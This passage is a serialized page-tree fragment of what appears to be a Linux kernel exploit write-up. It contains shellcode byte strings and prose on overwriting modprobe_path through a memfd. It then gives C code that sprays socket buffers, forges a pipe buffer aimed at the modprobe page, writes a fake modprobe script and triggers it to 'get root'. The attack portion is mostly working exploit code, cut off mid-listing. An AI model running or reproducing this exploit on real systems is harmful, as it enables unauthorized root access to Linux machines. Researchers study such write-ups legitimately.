"type":23,"tag":41,"props":59292,"children":59293},{"style":735},[59294],{"type":28,"value":20048},{"type":23,"tag":41,"props":59296,"children":59297},{"style":70},[59298],{"type":28,"value":970},{"type":23,"tag":41,"props":59300,"children":59301},{"style":164},[59302],{"type":28,"value":17515},{"type":23,"tag":41,"props":59304,"children":59305},{"style":70},[59306],{"type":28,"value":866},{"type":23,"tag":41,"props":59308,"children":59309},{"style":170},[59310],{"type":28,"value":387},{"type":23,"tag":41,"props":59312,"children":59313},{"style":164},[59314],{"type":28,"value":392},{"type":23,"tag":41,"props":59316,"children":59317},{"style":170},[59318],{"type":28,"value":52679},{"type":23,"tag":41,"props":59320,"children":59321},{"class":43,"line":947},[59322,59326,59330,59334,59339,59343,59347,59352,59356,59360,59365,59369,59373,59377],{"type":23,"tag":41,"props":59323,"children":59324},{"style":114},[59325],{"type":28,"value":59166},{"type":23,"tag":41,"props":59327,"children":59328},{"style":70},[59329],{"type":28,"value":59108},{"type":23,"tag":41,"props":59331,"children":59332},{"style":170},[59333],{"type":28,"value":4383},{"type":23,"tag":41,"props":59335,"children":59336},{"style":164},[59337],{"type":28,"value":59338}," 0x8",{"type":23,"tag":41,"props":59340,"children":59341},{"style":70},[59342],{"type":28,"value":970},{"type":23,"tag":41,"props":59344,"children":59345},{"style":735},[59346],{"type":28,"value":20048},{"type":23,"tag":41,"props":59348,"children":59349},{"style":48367},[59350],{"type":28,"value":59351},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":23,"tag":41,"props":59353,"children":59354},{"style":735},[59355],{"type":28,"value":20048},{"type":23,"tag":41,"props":59357,"children":59358},{"style":70},[59359],{"type":28,"value":970},{"type":23,"tag":41,"props":59361,"children":59362},{"style":164},[59363],{"type":28,"value":59364},"12",{"type":23,"tag":41,"props":59366,"children":59367},{"style":70},[59368],{"type":28,"value":866},{"type":23,"tag":41,"props":59370,"children":59371},{"style":170},[59372],{"type":28,"value":387},{"type":23,"tag":41,"props":59374,"children":59375},{"style":164},[59376],{"type":28,"value":392},{"type":23,"tag":41,"props":59378,"children":59379},{"style":170},[59380],{"type":28,"value":52679},{"type":23,"tag":41,"props":59382,"children":59383},{"class":43,"line":985},[59384,59388,59392,59396,59401,59405,59409,59414,59418,59422,59426,59430,59434,59438],{"type":23,"tag":41,"props":59385,"children":59386},{"style":114},[59387],{"type":28,"value":59166},{"type":23,"tag":41,"props":59389,"children":59390},{"style":70},[59391],{"type":28,"value":59108},{"type":23,"tag":41,"props":59393,"children":59394},{"style":170},[59395],{"type":28,"value":4383},{"type":23,"tag":41,"props":59397,"children":59398},{"style":164},[59399],{"type":28,"value":59400}," 0x18",{"type":23,"tag":41,"props":59402,"children":59403},{"style":70},[59404],{"type":28,"value":970},{"type":23,"tag":41,"props":59406,"children":59407},{"style":735},[59408],{"type":28,"value":20048},{"type":23,"tag":41,"props":59410,"children":59411},{"style":48367},[59412],{"type":28,"value":59413},"\\x89\\xde\\x8b\\x0d",{"type":23,"tag":41,"props":59415,"children":59416},{"style":735},[59417],{"type":28,"value":20048},{"type":23,"tag":41,"props":59419,"children":59420},{"style":70},[59421],{"type":28,"value":970},{"type":23,"tag":41,"props":59423,"children":59424},{"style":164},[59425],{"type":28,"value":17515},{"type":23,"tag":41,"props":59427,"children":59428},{"style":70},[59429],{"type":28,"value":866},{"type":23,"tag":41,"props":59431,"children":59432},{"style":170},[59433],{"type":28,"value":387},{"type":23,"tag":41,"props":59435,"children":59436},{"style":164},[59437],{"type":28,"value":392},{"type":23,"tag":41,"props":59439,"children":59440},{"style":170},[59441],{"type":28,"value":52679},{"type":23,"tag":41,"props":59443,"children":59444},{"class":43,"line":1058},[59445,59449,59453,59457,59462,59466,59470,59475,59479,59483,59487,59491,59495,59499],{"type":23,"tag":41,"props":59446,"children":59447},{"style":114},[59448],{"type":28,"value":59166},{"type":23,"tag":41,"props":59450,"children":59451},{"style":70},[59452],{"type":28,"value":59108},{"type":23,"tag":41,"props":59454,"children":59455},{"style":170},[59456],{"type":28,"value":4383},{"type":23,"tag":41,"props":59458,"children":59459},{"style":164},[59460],{"type":28,"value":59461}," 0x20",{"type":23,"tag":41,"props":59463,"children":59464},{"style":70},[59465],{"type":28,"value":970},{"type":23,"tag":41,"props":59467,"children":59468},{"style":735},[59469],{"type":28,"value":20048},{"type":23,"tag":41,"props":59471,"children":59472},{"style":48367},[59473],{"type":28,"value":59474},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":23,"tag":41,"props":59476,"children":59477},{"style":735},[59478],{"type":28,"value":20048},{"type":23,"tag":41,"props":59480,"children":59481},{"style":70},[59482],{"type":28,"value":970},{"type":23,"tag":41,"props":59484,"children":59485},{"style":164},[59486],{"type":28,"value":18408},{"type":23,"tag":41,"props":59488,"children":59489},{"style":70},[59490],{"type":28,"value":866},{"type":23,"tag":41,"props":59492,"children":59493},{"style":170},[59494],{"type":28,"value":387},{"type":23,"tag":41,"props":59496,"children":59497},{"style":164},[59498],{"type":28,"value":392},{"type":23,"tag":41,"props":59500,"children":59501},{"style":170},[59502],{"type":28,"value":52679},{"type":23,"tag":41,"props":59504,"children":59505},{"class":43,"line":1084},[59506,59510,59514,59518,59523,59527,59531,59536,59540,59544,59549,59553,59557,59561],{"type":23,"tag":41,"props":59507,"children":59508},{"style":114},[59509],{"type":28,"value":59166},{"type":23,"tag":41,"props":59511,"children":59512},{"style":70},[59513],{"type":28,"value":59108},{"type":23,"tag":41,"props":59515,"children":59516},{"style":170},[59517],{"type":28,"value":4383},{"type":23,"tag":41,"props":59519,"children":59520},{"style":164},[59521],{"type":28,"value":59522}," 0x2a",{"type":23,"tag":41,"props":59524,"children":59525},{"style":70},[59526],{"type":28,"value":970},{"type":23,"tag":41,"props":59528,"children":59529},{"style":735},[59530],{"type":28,"value":20048},{"type":23,"tag":41,"props":59532,"children":59533},{"style":48367},[59534],{"type":28,"value":59535},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":23,"tag":41,"props":59537,"children":59538},{"style":735},[59539],{"type":28,"value":20048},{"type":23,"tag":41,"props":59541,"children":59542},{"style":70},[59543],{"type":28,"value":970},{"type":23,"tag":41,"props":59545,"children":59546},{"style":164},[59547],{"type":28,"value":59548},"24",{"type":23,"tag":41,"props":59550,"children":59551},{"style":70},[59552],{"type":28,"value":866},{"type":23,"tag":41,"props":59554,"children":59555},{"style":170},[59556],{"type":28,"value":387},{"type":23,"tag":41,"props":59558,"children":59559},{"style":164},[59560],{"type":28,"value":392},{"type":23,"tag":41,"props":59562,"children":59563},{"style":170},[59564],{"type":28,"value":52679},{"type":23,"tag":41,"props":59566,"children":59567},{"class":43,"line":1102},[59568,59572,59576,59580,59585,59589,59593,59598,59602,59606,59611,59615,59619,59623],{"type":23,"tag":41,"props":59569,"children":59570},{"style":114},[59571],{"type":28,"value":59166},{"type":23,"tag":41,"props":59573,"children":59574},{"style":70},[59575],{"type":28,"value":59108},{"type":23,"tag":41,"props":59577,"children":59578},{"style":170},[59579],{"type":28,"value":4383},{"type":23,"tag":41,"props":59581,"children":59582},{"style":164},[59583],{"type":28,"value":59584}," 0x45",{"type":23,"tag":41,"props":59586,"children":59587},{"style":70},[59588],{"type":28,"value":970},{"type":23,"tag":41,"props":59590,"children":59591},{"style":735},[59592],{"type":28,"value":20048},{"type":23,"tag":41,"props":59594,"children":59595},{"style":48367},[59596],{"type":28,"value":59597},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":23,"tag":41,"props":59599,"children":59600},{"style":735},[59601],{"type":28,"value":20048},{"type":23,"tag":41,"props":59603,"children":59604},{"style":70},[59605],{"type":28,"value":970},{"type":23,"tag":41,"props":59607,"children":59608},{"style":164},[59609],{"type":28,"value":59610},"15",{"type":23,"tag":41,"props":59612,"children":59613},{"style":70},[59614],{"type":28,"value":866},{"type":23,"tag":41,"props":59616,"children":59617},{"style":170},[59618],{"type":28,"value":387},{"type":23,"tag":41,"props":59620,"children":59621},{"style":164},[59622],{"type":28,"value":392},{"type":23,"tag":41,"props":59624,"children":59625},{"style":170},[59626],{"type":28,"value":52679},{"type":23,"tag":41,"props":59628,"children":59629},{"class":43,"line":1110},[59630,59634,59638,59642,59647,59651,59655,59660,59664,59668,59672,59676,59680,59684],{"type":23,"tag":41,"props":59631,"children":59632},{"style":114},[59633],{"type":28,"value":59166},{"type":23,"tag":41,"props":59635,"children":59636},{"style":70},[59637],{"type":28,"value":59108},{"type":23,"tag":41,"props":59639,"children":59640},{"style":170},[59641],{"type":28,"value":4383},{"type":23,"tag":41,"props":59643,"children":59644},{"style":164},[59645],{"type":28,"value":59646}," 0x55",{"type":23,"tag":41,"props":59648,"children":59649},{"style":70},[59650],{"type":28,"value":970},{"type":23,"tag":41,"props":59652,"children":59653},{"style":735},[59654],{"type":28,"value":20048},{"type":23,"tag":41,"props":59656,"children":59657},{"style":48367},[59658],{"type":28,"value":59659},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":23,"tag":41,"props":59661,"children":59662},{"style":735},[59663],{"type":28,"value":20048},{"type":23,"tag":41,"props":59665,"children":59666},{"style":70},[59667],{"type":28,"value":970},{"type":23,"tag":41,"props":59669,"children":59670},{"style":164},[59671],{"type":28,"value":4078},{"type":23,"tag":41,"props":59673,"children":59674},{"style":70},[59675],{"type":28,"value":866},{"type":23,"tag":41,"props":59677,"children":59678},{"style":170},[59679],{"type":28,"value":387},{"type":23,"tag":41,"props":59681,"children":59682},{"style":164},[59683],{"type":28,"value":392},{"type":23,"tag":41,"props":59685,"children":59686},{"style":170},[59687],{"type":28,"value":52679},{"type":23,"tag":41,"props":59689,"children":59690},{"class":43,"line":1118},[59691,59695,59699,59703,59708,59712,59716,59721,59725,59729,59733,59737,59741,59745],{"type":23,"tag":41,"props":59692,"children":59693},{"style":114},[59694],{"type":28,"value":59166},{"type":23,"tag":41,"props":59696,"children":59697},{"style":70},[59698],{"type":28,"value":59108},{"type":23,"tag":41,"props":59700,"children":59701},{"style":170},[59702],{"type":28,"value":4383},{"type":23,"tag":41,"props":59704,"children":59705},{"style":164},[59706],{"type":28,"value":59707}," 0x61",{"type":23,"tag":41,"props":59709,"children":59710},{"style":70},[59711],{"type":28,"value":970},{"type":23,"tag":41,"props":59713,"children":59714},{"style":735},[59715],{"type":28,"value":20048},{"type":23,"tag":41,"props":59717,"children":59718},{"style":48367},[59719],{"type":28,"value":59720},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":23,"tag":41,"props":59722,"children":59723},{"style":735},[59724],{"type":28,"value":20048},{"type":23,"tag":41,"props":59726,"children":59727},{"style":70},[59728],{"type":28,"value":970},{"type":23,"tag":41,"props":59730,"children":59731},{"style":164},[59732],{"type":28,"value":18096},{"type":23,"tag":41,"props":59734,"children":59735},{"style":70},[59736],{"type":28,"value":866},{"type":23,"tag":41,"props":59738,"children":59739},{"style":170},[59740],{"type":28,"value":387},{"type":23,"tag":41,"props":59742,"children":59743},{"style":164},[59744],{"type":28,"value":392},{"type":23,"tag":41,"props":59746,"children":59747},{"style":170},[59748],{"type":28,"value":52679},{"type":23,"tag":41,"props":59750,"children":59751},{"class":43,"line":1137},[59752,59756,59760,59764,59769,59773,59777,59782,59786,59790,59794,59798,59802,59806],{"type":23,"tag":41,"props":59753,"children":59754},{"style":114},[59755],{"type":28,"value":59166},{"type":23,"tag":41,"props":59757,"children":59758},{"style":70},[59759],{"type":28,"value":59108},{"type":23,"tag":41,"props":59761,"children":59762},{"style":170},[59763],{"type":28,"value":4383},{"type":23,"tag":41,"props":59765,"children":59766},{"style":164},[59767],{"type":28,"value":59768}," 0x6a",{"type":23,"tag":41,"props":59770,"children":59771},{"style":70},[59772],{"type":28,"value":970},{"type":23,"tag":41,"props":59774,"children":59775},{"style":735},[59776],{"type":28,"value":20048},{"type":23,"tag":41,"props":59778,"children":59779},{"style":48367},[59780],{"type":28,"value":59781},"\\x48\\xc7\\xc6",{"type":23,"tag":41,"props":59783,"children":59784},{"style":735},[59785],{"type":28,"value":20048},{"type":23,"tag":41,"props":59787,"children":59788},{"style":70},[59789],{"type":28,"value":970},{"type":23,"tag":41,"props":59791,"children":59792},{"style":164},[59793],{"type":28,"value":17282},{"type":23,"tag":41,"props":59795,"children":59796},{"style":70},[59797],{"type":28,"value":866},{"type":23,"tag":41,"props":59799,"children":59800},{"style":170},[59801],{"type":28,"value":387},{"type":23,"tag":41,"props":59803,"children":59804},{"style":164},[59805],{"type":28,"value":392},{"type":23,"tag":41,"props":59807,"children":59808},{"style":170},[59809],{"type":28,"value":52679},{"type":23,"tag":41,"props":59811,"children":59812},{"class":43,"line":1163},[59813,59817,59821,59825,59830,59834,59838,59843,59847,59851,59855,59859,59863,59867],{"type":23,"tag":41,"props":59814,"children":59815},{"style":114},[59816],{"type":28,"value":59166},{"type":23,"tag":41,"props":59818,"children":59819},{"style":70},[59820],{"type":28,"value":59108},{"type":23,"tag":41,"props":59822,"children":59823},{"style":170},[59824],{"type":28,"value":4383},{"type":23,"tag":41,"props":59826,"children":59827},{"style":164},[59828],{"type":28,"value":59829}," 0x71",{"type":23,"tag":41,"props":59831,"children":59832},{"style":70},[59833],{"type":28,"value":970},{"type":23,"tag":41,"props":59835,"children":59836},{"style":735},[59837],{"type":28,"value":20048},{"type":23,"tag":41,"props":59839,"children":59840},{"style":48367},[59841],{"type":28,"value":59842},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":23,"tag":41,"props":59844,"children":59845},{"style":735},[59846],{"type":28,"value":20048},{"type":23,"tag":41,"props":59848,"children":59849},{"style":70},[59850],{"type":28,"value":970},{"type":23,"tag":41,"props":59852,"children":59853},{"style":164},[59854],{"type":28,"value":18408},{"type":23,"tag":41,"props":59856,"children":59857},{"style":70},[59858],{"type":28,"value":866},{"type":23,"tag":41,"props":59860,"children":59861},{"style":170},[59862],{"type":28,"value":387},{"type":23,"tag":41,"props":59864,"children":59865},{"style":164},[59866],{"type":28,"value":392},{"type":23,"tag":41,"props":59868,"children":59869},{"style":170},[59870],{"type":28,"value":52679},{"type":23,"tag":41,"props":59872,"children":59873},{"class":43,"line":1188},[59874,59878,59882,59886,59891,59895,59899,59904,59908,59912,59916,59920,59924,59928],{"type":23,"tag":41,"props":59875,"children":59876},{"style":114},[59877],{"type":28,"value":59166},{"type":23,"tag":41,"props":59879,"children":59880},{"style":70},[59881],{"type":28,"value":59108},{"type":23,"tag":41,"props":59883,"children":59884},{"style":170},[59885],{"type":28,"value":4383},{"type":23,"tag":41,"props":59887,"children":59888},{"style":164},[59889],{"type":28,"value":59890}," 0x78",{"type":23,"tag":41,"props":59892,"children":59893},{"style":70},[59894],{"type":28,"value":970},{"type":23,"tag":41,"props":59896,"children":59897},{"style":735},[59898],{"type":28,"value":20048},{"type":23,"tag":41,"props":59900,"children":59901},{"style":48367},[59902],{"type":28,"value":59903},"\\xff\\xe0",{"type":23,"tag":41,"props":59905,"children":59906},{"style":735},[59907],{"type":28,"value":20048},{"type":23,"tag":41,"props":59909,"children":59910},{"style":70},[59911],{"type":28,"value":970},{"type":23,"tag":41,"props":59913,"children":59914},{"style":164},[59915],{"type":28,"value":3123},{"type":23,"tag":41,"props":59917,"children":59918},{"style":70},[59919],{"type":28,"value":866},{"type":23,"tag":41,"props":59921,"children":59922},{"style":170},[59923],{"type":28,"value":387},{"type":23,"tag":41,"props":59925,"children":59926},{"style":164},[59927],{"type":28,"value":392},{"type":23,"tag":41,"props":59929,"children":59930},{"style":70},[59931],{"type":28,"value":1969},{"type":23,"tag":41,"props":59933,"children":59934},{"class":43,"line":1979},[59935,59939,59943],{"type":23,"tag":41,"props":59936,"children":59937},{"style":58},[59938],{"type":28,"value":161},{"type":23,"tag":41,"props":59940,"children":59941},{"style":64},[59942],{"type":28,"value":915},{"type":23,"tag":41,"props":59944,"children":59945},{"style":70},[59946],{"type":28,"value":183},{"type":23,"tag":41,"props":59948,"children":59949},{"class":43,"line":2002},[59950],{"type":23,"tag":41,"props":59951,"children":59952},{"emptyLinePlaceholder":18},[59953],{"type":28,"value":82},{"type":23,"tag":41,"props":59955,"children":59956},{"class":43,"line":3835},[59957,59961,59965],{"type":23,"tag":41,"props":59958,"children":59959},{"style":58},[59960],{"type":28,"value":1090},{"type":23,"tag":41,"props":59962,"children":59963},{"style":64},[59964],{"type":28,"value":1095},{"type":23,"tag":41,"props":59966,"children":59967},{"style":70},[59968],{"type":28,"value":183},{"type":23,"tag":41,"props":59970,"children":59971},{"class":43,"line":3895},[59972],{"type":23,"tag":41,"props":59973,"children":59974},{"style":70},[59975],{"type":28,"value":201},{"type":23,"tag":41,"props":59977,"children":59978},{"class":43,"line":9044},[59979],{"type":23,"tag":41,"props":59980,"children":59981},{"style":70},[59982],{"type":28,"value":10316},{"type":23,"tag":546,"props":59984,"children":59986},{"id":59985},"overwriting-modprobe_path",[59987,59989],{"type":28,"value":59988},"Overwriting ",{"type":23,"tag":37,"props":59990,"children":59992},{"className":59991},[],[59993],{"type":28,"value":58374},{"type":23,"tag":24,"props":59995,"children":59996},{},[59997,59999,60005],{"type":28,"value":59998},"Finding the ",{"type":23,"tag":37,"props":60000,"children":60002},{"className":60001},[],[60003],{"type":28,"value":60004},"/sbin/modprobe",{"type":28,"value":60006}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":23,"tag":24,"props":60008,"children":60009},{},[60010,60012,60018],{"type":28,"value":60011},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":23,"tag":37,"props":60013,"children":60015},{"className":60014},[],[60016],{"type":28,"value":60017},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":28,"value":60019}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":23,"tag":31,"props":60021,"children":60023},{"className":356,"code":60022,"language":355,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[60024],{"type":23,"tag":37,"props":60025,"children":60026},{"__ignoreMap":7},[60027,60034,60056,60064,60071,60079,60087,60095,60103,60110,60118,60125,60163,60174,60181,60188,60195,60222,60253,60260,60282,60295,60302,60360,60367,60395,60402,60409,60430,60437,60458,60469,60476,60483,60504,60511,60539,60552,60559,60566,60615,60622,60690,60697,60718,60738,60745,60752,60759,60779],{"type":23,"tag":41,"props":60028,"children":60029},{"class":43,"line":44},[60030],{"type":23,"tag":41,"props":60031,"children":60032},{"style":70},[60033],{"type":28,"value":10316},{"type":23,"tag":41,"props":60035,"children":60036},{"class":43,"line":54},[60037,60042,60047,60052],{"type":23,"tag":41,"props":60038,"children":60039},{"style":70},[60040],{"type":28,"value":60041},"    puts(\"[*] ",{"type":23,"tag":41,"props":60043,"children":60044},{"style":94},[60045],{"type":28,"value":60046},"overwrite",{"type":23,"tag":41,"props":60048,"children":60049},{"style":94},[60050],{"type":28,"value":60051}," modprobe_path",{"type":23,"tag":41,"props":60053,"children":60054},{"style":735},[60055],{"type":28,"value":56287},{"type":23,"tag":41,"props":60057,"children":60058},{"class":43,"line":76},[60059],{"type":23,"tag":41,"props":60060,"children":60061},{"style":735},[60062],{"type":28,"value":60063},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":23,"tag":41,"props":60065,"children":60066},{"class":43,"line":85},[60067],{"type":23,"tag":41,"props":60068,"children":60069},{"style":735},[60070],{"type":28,"value":1711},{"type":23,"tag":41,"props":60072,"children":60073},{"class":43,"line":105},[60074],{"type":23,"tag":41,"props":60075,"children":60076},{"style":735},[60077],{"type":28,"value":60078},"        pipebuf->page = modprobe_page;\n",{"type":23,"tag":41,"props":60080,"children":60081},{"class":43,"line":155},[60082],{"type":23,"tag":41,"props":60083,"children":60084},{"style":735},[60085],{"type":28,"value":60086},"        pipebuf->offset = modprobe_off;\n",{"type":23,"tag":41,"props":60088,"children":60089},{"class":43,"line":186},[60090],{"type":23,"tag":41,"props":60091,"children":60092},{"style":735},[60093],{"type":28,"value":60094},"        pipebuf->len = 0;\n",{"type":23,"tag":41,"props":60096,"children":60097},{"class":43,"line":195},[60098],{"type":23,"tag":41,"props":60099,"children":60100},{"style":735},[60101],{"type":28,"value":60102},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":23,"tag":41,"props":60104,"children":60105},{"class":43,"line":905},[60106],{"type":23,"tag":41,"props":60107,"children":60108},{"style":735},[60109],{"type":28,"value":31653},{"type":23,"tag":41,"props":60111,"children":60112},{"class":43,"line":922},[60113],{"type":23,"tag":41,"props":60114,"children":60115},{"style":735},[60116],{"type":28,"value":60117},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":23,"tag":41,"props":60119,"children":60120},{"class":43,"line":930},[60121],{"type":23,"tag":41,"props":60122,"children":60123},{"style":735},[60124],{"type":28,"value":31689},{"type":23,"tag":41,"props":60126,"children":60127},{"class":43,"line":939},[60128,60133,60137,60141,60145,60150,60154,60158],{"type":23,"tag":41,"props":60129,"children":60130},{"style":735},[60131],{"type":28,"value":60132},"                perror(\"",{"type":23,"tag":41,"props":60134,"children":60135},{"style":70},[60136],{"type":28,"value":312},{"type":23,"tag":41,"props":60138,"children":60139},{"style":170},[60140],{"type":28,"value":4329},{"type":23,"tag":41,"props":60142,"children":60143},{"style":70},[60144],{"type":28,"value":8659},{"type":23,"tag":41,"props":60146,"children":60147},{"style":94},[60148],{"type":28,"value":60149},"write",{"type":23,"tag":41,"props":60151,"children":60152},{"style":70},[60153],{"type":28,"value":1737},{"type":23,"tag":41,"props":60155,"children":60156},{"style":94},[60157],{"type":28,"value":41929},{"type":23,"tag":41,"props":60159,"children":60160},{"style":70},[60161],{"type":28,"value":60162},")\");\n",{"type":23,"tag":41,"props":60164,"children":60165},{"class":43,"line":947},[60166,60170],{"type":23,"tag":41,"props":60167,"children":60168},{"style":58},[60169],{"type":28,"value":58956},{"type":23,"tag":41,"props":60171,"children":60172},{"style":70},[60173],{"type":28,"value":183},{"type":23,"tag":41,"props":60175,"children":60176},{"class":43,"line":985},[60177],{"type":23,"tag":41,"props":60178,"children":60179},{"style":70},[60180],{"type":28,"value":58881},{"type":23,"tag":41,"props":60182,"children":60183},{"class":43,"line":1058},[60184],{"type":23,"tag":41,"props":60185,"children":60186},{"style":70},[60187],{"type":28,"value":3347},{"type":23,"tag":41,"props":60189,"children":60190},{"class":43,"line":1084},[60191],{"type":23,"tag":41,"props":60192,"children":60193},{"emptyLinePlaceholder":18},[60194],{"type":28,"value":82},{"type":23,"tag":41,"props":60196,"children":60197},{"class":43,"line":1102},[60198,60202,60206,60210,60214,60218],{"type":23,"tag":41,"props":60199,"children":60200},{"style":114},[60201],{"type":28,"value":54612},{"type":23,"tag":41,"props":60203,"children":60204},{"style":70},[60205],{"type":28,"value":1737},{"type":23,"tag":41,"props":60207,"children":60208},{"style":170},[60209],{"type":28,"value":855},{"type":23,"tag":41,"props":60211,"children":60212},{"style":70},[60213],{"type":28,"value":58767},{"type":23,"tag":41,"props":60215,"children":60216},{"style":164},[60217],{"type":28,"value":4024},{"type":23,"tag":41,"props":60219,"children":60220},{"style":70},[60221],{"type":28,"value":58776},{"type":23,"tag":41,"props":60223,"children":60224},{"class":43,"line":1110},[60225,60229,60234,60238,60243,60248],{"type":23,"tag":41,"props":60226,"children":60227},{"style":114},[60228],{"type":28,"value":55313},{"type":23,"tag":41,"props":60230,"children":60231},{"style":70},[60232],{"type":28,"value":60233},"(fd_path, ",{"type":23,"tag":41,"props":60235,"children":60236},{"style":64},[60237],{"type":28,"value":55323},{"type":23,"tag":41,"props":60239,"children":60240},{"style":70},[60241],{"type":28,"value":60242},"(fd_path), ",{"type":23,"tag":41,"props":60244,"children":60245},{"style":735},[60246],{"type":28,"value":60247},"\"/proc/%i/fd/%i\"",{"type":23,"tag":41,"props":60249,"children":60250},{"style":70},[60251],{"type":28,"value":60252},", i, modprobe_fd);\n",{"type":23,"tag":41,"props":60254,"children":60255},{"class":43,"line":1118},[60256],{"type":23,"tag":41,"props":60257,"children":60258},{"emptyLinePlaceholder":18},[60259],{"type":28,"value":82},{"type":23,"tag":41,"props":60261,"children":60262},{"class":43,"line":1137},[60263,60268,60273,60277],{"type":23,"tag":41,"props":60264,"children":60265},{"style":114},[60266],{"type":28,"value":60267},"        lseek",{"type":23,"tag":41,"props":60269,"children":60270},{"style":70},[60271],{"type":28,"value":60272},"(modprobe_fd, ",{"type":23,"tag":41,"props":60274,"children":60275},{"style":164},[60276],{"type":28,"value":4024},{"type":23,"tag":41,"props":60278,"children":60279},{"style":70},[60280],{"type":28,"value":60281},", SEEK_SET);\n",{"type":23,"tag":41,"props":60283,"children":60284},{"class":43,"line":1163},[60285,60290],{"type":23,"tag":41,"props":60286,"children":60287},{"style":114},[60288],{"type":28,"value":60289},"        dprintf",{"type":23,"tag":41,"props":60291,"children":60292},{"style":70},[60293],{"type":28,"value":60294},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":23,"tag":41,"props":60296,"children":60297},{"class":43,"line":1188},[60298],{"type":23,"tag":41,"props":60299,"children":60300},{"emptyLinePlaceholder":18},[60301],{"type":28,"value":82},{"type":23,"tag":41,"props":60303,"children":60304},{"class":43,"line":1979},[60305,60309,60313,60317,60321,60325,60330,60334,60339,60344,60348,60352,60356],{"type":23,"tag":41,"props":60306,"children":60307},{"style":58},[60308],{"type":28,"value":3272},{"type":23,"tag":41,"props":60310,"children":60311},{"style":70},[60312],{"type":28,"value":142},{"type":23,"tag":41,"props":60314,"children":60315},{"style":114},[60316],{"type":28,"value":60149},{"type":23,"tag":41,"props":60318,"children":60319},{"style":70},[60320],{"type":28,"value":1737},{"type":23,"tag":41,"props":60322,"children":60323},{"style":858},[60324],{"type":28,"value":58820},{"type":23,"tag":41,"props":60326,"children":60327},{"style":70},[60328],{"type":28,"value":60329},"[pipe_idx][",{"type":23,"tag":41,"props":60331,"children":60332},{"style":164},[60333],{"type":28,"value":317},{"type":23,"tag":41,"props":60335,"children":60336},{"style":70},[60337],{"type":28,"value":60338},"], fd_path, ",{"type":23,"tag":41,"props":60340,"children":60341},{"style":164},[60342],{"type":28,"value":60343},"32",{"type":23,"tag":41,"props":60345,"children":60346},{"style":70},[60347],{"type":28,"value":866},{"type":23,"tag":41,"props":60349,"children":60350},{"style":170},[60351],{"type":28,"value":1012},{"type":23,"tag":41,"props":60353,"children":60354},{"style":164},[60355],{"type":28,"value":392},{"type":23,"tag":41,"props":60357,"children":60358},{"style":70},[60359],{"type":28,"value":1969},{"type":23,"tag":41,"props":60361,"children":60362},{"class":43,"line":2002},[60363],{"type":23,"tag":41,"props":60364,"children":60365},{"style":70},[60366],{"type":28,"value":31653},{"type":23,"tag":41,"props":60368,"children":60369},{"class":43,"line":3835},[60370,60374,60378,60382,60386,60391],{"type":23,"tag":41,"props":60371,"children":60372},{"style":114},[60373],{"type":28,"value":57893},{"type":23,"tag":41,"props":60375,"children":60376},{"style":70},[60377],{"type":28,"value":1737},{"type":23,"tag":41,"props":60379,"children":60380},{"style":735},[60381],{"type":28,"value":20048},{"type":23,"tag":41,"props":60383,"children":60384},{"style":48367},[60385],{"type":28,"value":48370},{"type":23,"tag":41,"props":60387,"children":60388},{"style":735},[60389],{"type":28,"value":60390},"[-] 